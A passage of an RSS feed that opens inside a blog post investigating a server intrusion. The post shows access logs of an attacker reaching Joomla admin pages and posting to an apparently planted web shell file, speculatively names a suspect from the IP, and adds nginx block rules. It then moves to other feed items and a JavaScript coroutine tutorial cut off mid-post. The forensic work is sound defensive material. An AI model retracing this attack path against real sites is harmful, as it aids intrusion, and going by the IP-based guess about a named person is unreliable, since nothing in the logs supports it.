&lt;p&gt;185.93.187.66 - - [26/Aug/2016:08:48:18 +0200] “POST /templates/jtemplate/jtemplate.php HTTP/1.1” 200 6667 “http://kenagard.com/templates/jtemplate/jtemplate.php” “Mozilla/5.0 (Windows NT 6.1; WOW64)     AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36”&lt;/p&gt;

&lt;p&gt;185.93.187.66 is a Ukrainian based IP, Nikolay, is that you? I hope someone
is using your name otherwise you should pay more attention to discretion.&lt;/p&gt;

&lt;p&gt;Moving a bit in history, I have been looking for the first call to
&lt;code class="language-plaintext highlighter-rouge"&gt;jtemplate.php&lt;/code&gt; to find this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;185.93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 4343 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)     Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 4343 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)     Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 21137 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)    Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:01 +0200] "GET /administrator/?option=com_config HTTP/1.1" 200 50654 "http://kenagard.com/administrator/?option=com_config" "Mozilla/5.0 (Windows NT 6.1; WOW64)       AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:01 +0200] "GET /administrator/?option=com_admin&amp;amp;task=sysinfo HTTP/1.1" 200 72460 "http://kenagard.com/administrator/?option=com_admin&amp;amp;task=sysinfo" "Mozilla/5.0       (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:02 +0200] "GET /administrator/?option=com_installer HTTP/1.1" 200 15682 "http://kenagard.com/administrator/?option=com_installer" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:02 +0200] "POST /administrator/ HTTP/1.1" 200 15948 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:03 +0200] "POST /templates/jtemplate/jtemplate.php HTTP/1.1" 200 20 "http://kenagard.com/templates/jtemplate/jtemplate.php" "Mozilla/5.0 (Windows NT 6.1; WOW64)       AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No POST seems to have been part of setting up the file from this IP.&lt;/p&gt;

&lt;p&gt;A few minute before this IP was involved, it seems, that someone got a shared
interest in similar resources:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;54.209.90.194 - - [21/Aug/2016:05:47:47 +0200] "GET /administrator HTTP/1.1" 301 184 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)    Gecko/20120101 Firefox/29.0"
54.209.90.194 - - [21/Aug/2016:05:47:48 +0200] "GET /administrator/ HTTP/1.1" 200 1804 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)  Gecko/20120101 Firefox/29.0"
54.209.90.194 - - [21/Aug/2016:05:47:50 +0200] "POST /administrator/index.php HTTP/1.1" 200 1892 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This time, an IP belonging to Amazon, I guess some AWS servers.&lt;/p&gt;

&lt;p&gt;I did not really figured out how this happened. There is no other request that
could explain how this &lt;code class="language-plaintext highlighter-rouge"&gt;jtemplate&lt;/code&gt; thing first appeared. I have decided to
blocked both /administrator (Joomla!) and /wp-admin (WordPress).&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;location ^~ /wp-admin/ {
    return 404;
}

location ^~ /administrator/ {
    return 404;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Like before don’t forget to &lt;code class="language-plaintext highlighter-rouge"&gt;service nginx reload&lt;/code&gt; after all that.&lt;/p&gt;

&lt;h3 id="conclusion-docker-maybe"&gt;Conclusion: Docker maybe&lt;/h3&gt;

&lt;p&gt;The only thing that comes to m(y mind about how to not maintain very old
infrastructure (upgrading and related maintenance) and avoiding too dangerous
attacks is would be to keep things separated and perhaps Docker it a good way to
do so through containerization.&lt;/p&gt;

&lt;p&gt;Maybe some proactivity would also have enabled me to get aware of the problem
before OVH had to send me an email.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: a quick synthesis about the comments this article has received.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Again, don’t do this at home, your server is compromised, the cure to this
disease is to reinstall your server. To that point, many people suggest to
automate your server provisioning before hand.&lt;/li&gt;
  &lt;li&gt;Some malware detection tools have been mentioned:
&lt;a href="https://www.rfxn.com/projects/linux-malware-detect/"&gt;Linux Malware Detects&lt;/a&gt; and
&lt;a href="https://gist.github.com/petskratt/e692fee8c0db469d442a658d94e7070f"&gt;a script from Peeter Marvet&lt;/a&gt;
from zone.ee, mostly listing recently updated files. The first one is currently
scanning my whole server for the things I have missed.&lt;/li&gt;
  &lt;li&gt;Enable a firewall to only allow ports that the server is supposed to use.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More comments on &lt;a href="https://thedarkside.frantzmiccoli.com/tricks/2016/08/27/hacked-investigating-intrusion-on-server.html"&gt;Hacker News&lt;/a&gt;
and &lt;a href="https://www.reddit.com/r/netsec/comments/508w8c/hacked_investigating_an_intrusion_on_my_server"&gt;Reddit&lt;/a&gt;.&lt;/p&gt;</description><author>The Dark Side</author><pubDate>Sat, 27 Aug 2016 13:08:36 GMT</pubDate><guid isPermaLink="true">https://thedarkside.frantzmiccoli.com/tricks/2016/08/27/hacked-investigating-intrusion-on-server.html</guid></item><item><title>Test-Defective</title><link>https://cmdev.com/blog/2016-08-27-testdefective/</link><description>If you have automated tests, believe them or discard them.</description><author>The Cranky Developer on Crater Moon Development</author><pubDate>Sat, 27 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://cmdev.com/blog/2016-08-27-testdefective/</guid></item><item><title>2016-08-27/01</title><link>https://ho.dges.online/pictures/2016-08-27-01/</link><description/><author>ho.dges.online</author><pubDate>Sat, 27 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-08-27-01/</guid></item><item><title>2016-08-27/02</title><link>https://ho.dges.online/pictures/2016-08-27-02/</link><description/><author>ho.dges.online</author><pubDate>Sat, 27 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-08-27-02/</guid></item><item><title>IPv6 over WebSocket</title><link>http://www.nuke24.net/plog/15.html</link><author>TOGoS's Project Log</author><pubDate>Fri, 26 Aug 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/15.html</guid></item><item><title>Laziness is unconscious incompetence</title><link>https://yasha.solutions/laziness-is-unconscious-incompetence/</link><description>I stumbled upon this video the other day.
Some ex navy seal guy, they do army-style training programs for people who like to get their butt kicked.
But also, they happen to have very good content on psychology of motivation (which actually make sense given what they do as a job.)
The following video is about the reasons behind lack of motivation, lazy-style, I’ll do it tomorrow approach.
   TL;DW: Lazy is incompetence-driven.</description><author>Yasha Solutions</author><pubDate>Fri, 26 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/laziness-is-unconscious-incompetence/</guid></item><item><title>From Javascript Callbacks to Promises to Generators and Coroutines</title><link>https://cscrunch.com/content/javascript-callbacks-promises-generators-and-coroutines</link><description>&lt;div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"&gt;&lt;div class="field-items"&gt;&lt;div class="field-item even"&gt;&lt;p&gt;JavaScript has always been a powerful language, but it is not always pretty to look at.  ES6 has also greatly improved the syntax of the language, and although it's not perfect, it's not that bad, either.  Some of JavaScript's limitations are also its strengths, which is what we will see when we examine the JavaScript coroutine pattern.&lt;/p&gt;
&lt;p&gt;Javascript is single-threaded.  It is also event-driven, so that many of its functions use a callback pattern.  Unfortunately, the callback pattern is ugly and cumbersome in code.  Promises improved the callback pattern slightly, but it is still not as clean as it could be.  The generator pattern is the latest incarnation of data-flow syntax.  To get an intuitive feel for the differences between the different approaches, look at the following code examples:&lt;/p&gt;
&lt;p&gt;The callback method:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;fs.&lt;span style="color: #660066;"&gt;readFile&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366CC;"&gt;'filename.txt'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #3366CC;"&gt;'utf8'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Something failed.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Do something with 'data'.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;!--break--&gt;&lt;p&gt;
We can turn the "callback" version of &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;fs.readFile()&lt;/code&gt;&lt;/span&gt; into a Promise-based version using the &lt;a href="https://cscrunch.com/content/promisify-callback-function-without-3rd-party-libraries"&gt;&lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; function from my previous blog post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;let readFile &lt;span style="color: #339933;"&gt;=&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fs.&lt;span style="color: #660066;"&gt;readFile&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
readFile&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366CC;"&gt;'filename.txt'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #3366CC;"&gt;'utf8'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;
  .&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Do something with 'data'.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;
  .&lt;span style="color: #000066; font-weight: bold;"&gt;catch&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Something failed.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Before we look at the coroutine version of this code, consider the synchronous function approach using &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;fs.readFileSync()&lt;/code&gt;&lt;/span&gt;:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;try&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  let data &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fs.&lt;span style="color: #660066;"&gt;readFileSync&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366CC;"&gt;'filename.txt'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #3366CC;"&gt;'utf8'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #006600; font-style: italic;"&gt;// Do something with 'data'.&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #000066; font-weight: bold;"&gt;catch&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;e&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #006600; font-style: italic;"&gt;// Something failed.&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This version is perhaps the cleanest version yet, but it does have an important drawback: It is synchronous.  That means that all code execution stops and waits until the synchronous call completes before moving on.  While it makes for some clean code, it is also inefficient.  In all of the other examples, code from other events are able to run while the file I/O is performed, then the code execution resumes (either the callback is executed or the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.then()&lt;/code&gt;&lt;/span&gt; of the Promise) once the I/O is finished.  In other words, the synchronous code comes at the cost of wasted time.&lt;/p&gt;
&lt;p&gt;Look at the coroutine approach, which uses a &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt; function (which we will write over the course of this post) and the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;promisify()&lt;/code&gt;&lt;/span&gt; function (mentioned earlier) to turn the generator into a beautiful, simple, data-flow syntax.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;let readFile &lt;span style="color: #339933;"&gt;=&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fs.&lt;span style="color: #660066;"&gt;readFile&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #339933;"&gt;*&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  let data &lt;span style="color: #339933;"&gt;=&lt;/span&gt; yield readFile&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366CC;"&gt;'filename.txt'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #3366CC;"&gt;'utf8'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;data &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Error&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Something failed.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    &lt;span style="color: #006600; font-style: italic;"&gt;// Do something with 'data'.&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The coroutine example is now the most beautiful and straightforward example.  It is even easier to read than the synchronous example, due to the lack of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;try..catch&lt;/code&gt;&lt;/span&gt; block.  It reads naturally and is easy to follow.  Some complicated logic flows would be difficult or impossible to write using callbacks or Promises, but coroutines remove all of the clumsy syntax and leave a syntax that is as easy to use as standard synchronous programming.  In fact, the only odd parts about it are the asterisk (&lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;*&lt;/code&gt;&lt;/span&gt;) in the function identifier and the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt; keyword.&lt;/p&gt;
&lt;h2&gt;Generators&lt;/h2&gt;
&lt;p&gt;The first part of writing a &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt; function is to understand what a JavaScript generator is.  Many people have already written &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators"&gt;good descriptions&lt;/a&gt;&lt;a&gt;&lt;/a&gt; about how they work, so I'm not going to go into great detail about them.  I will give a bit of surface knowledge, though.&lt;/p&gt;
&lt;p&gt;A generator function is denoted by an asterisk after the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;function&lt;/code&gt;&lt;/span&gt; keyword.  Take the following generator example:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #339933;"&gt;*&lt;/span&gt; plusTwo&lt;span style="color: #009900;"&gt;(&lt;/span&gt;i&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  while&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #CC0000;"&gt;1&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    yield i&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    i &lt;span style="color: #339933;"&gt;+=&lt;/span&gt; &lt;span style="color: #CC0000;"&gt;2&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When executed, &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;plusTwo()&lt;/code&gt;&lt;/span&gt; accepts a starting value (&lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;i&lt;/code&gt;&lt;/span&gt;) and returns a generator instance.  It should be noted that &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;plusTwo()&lt;/code&gt;&lt;/span&gt; can be executed many times, each time returning a different generator instance.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;let counter1 &lt;span style="color: #339933;"&gt;=&lt;/span&gt; plusTwo&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #CC0000;"&gt;1&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
let counter2 &lt;span style="color: #339933;"&gt;=&lt;/span&gt; plusTwo&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #CC0000;"&gt;1337&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;For each of these generator instances, we can repeatedly call &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.next()&lt;/code&gt;&lt;/span&gt;, which returns an object that tells us two things: whether or not the generator has completed, and what value the generator is putting out at this time.&lt;/p&gt;
&lt;p&gt;But what value does the generator give?  That depends on what is to the right of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt; keyword.  In our &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;plusTwo()&lt;/code&gt;&lt;/span&gt; example, &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;i&lt;/code&gt;&lt;/span&gt; is to the right of &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt;, and it is incremented by 2 every time the loop executes.  Look at how the value increases as &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;i&lt;/code&gt;&lt;/span&gt; increases and is repeatedly &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt;ed.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;counter1.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #006600; font-style: italic;"&gt;// 1&lt;/span&gt;
counter1.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #006600; font-style: italic;"&gt;// 3&lt;/span&gt;
counter1.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #006600; font-style: italic;"&gt;// 5&lt;/span&gt;
counter2.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #006600; font-style: italic;"&gt;// 1337&lt;/span&gt;
counter2.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #006600; font-style: italic;"&gt;// 1339&lt;/span&gt;
counter1.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #006600; font-style: italic;"&gt;// 7&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Realize what just happened: The code in the generator function ceased execution until &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.next()&lt;/code&gt;&lt;/span&gt; was called.&lt;/p&gt;
&lt;p&gt;But generators have one more little trick.  If you can get a value out of a generator by putting something on the right side of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt; keyword, you can pass something back into the generator by providing an argument to the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.next()&lt;/code&gt;&lt;/span&gt; function call, and that argument will be given to whatever is to the left of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Let me say this another way, perhaps with an example using Promises:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;let readFile &lt;span style="color: #339933;"&gt;=&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fs.&lt;span style="color: #660066;"&gt;readFile&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #339933;"&gt;*&lt;/span&gt; exampleGenerator&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  let result &lt;span style="color: #339933;"&gt;=&lt;/span&gt; yield readFile&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366CC;"&gt;'filename.txt'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #3366CC;"&gt;'utf8'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In this example, &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;readFile()&lt;/code&gt;&lt;/span&gt; returns a promise, which is given to the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt;.  Suppose now that, once the promise is resolved, we call the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.next()&lt;/code&gt;&lt;/span&gt; function, but pass in the result of the promise.  Such a solution might look like this:&lt;/p&gt;
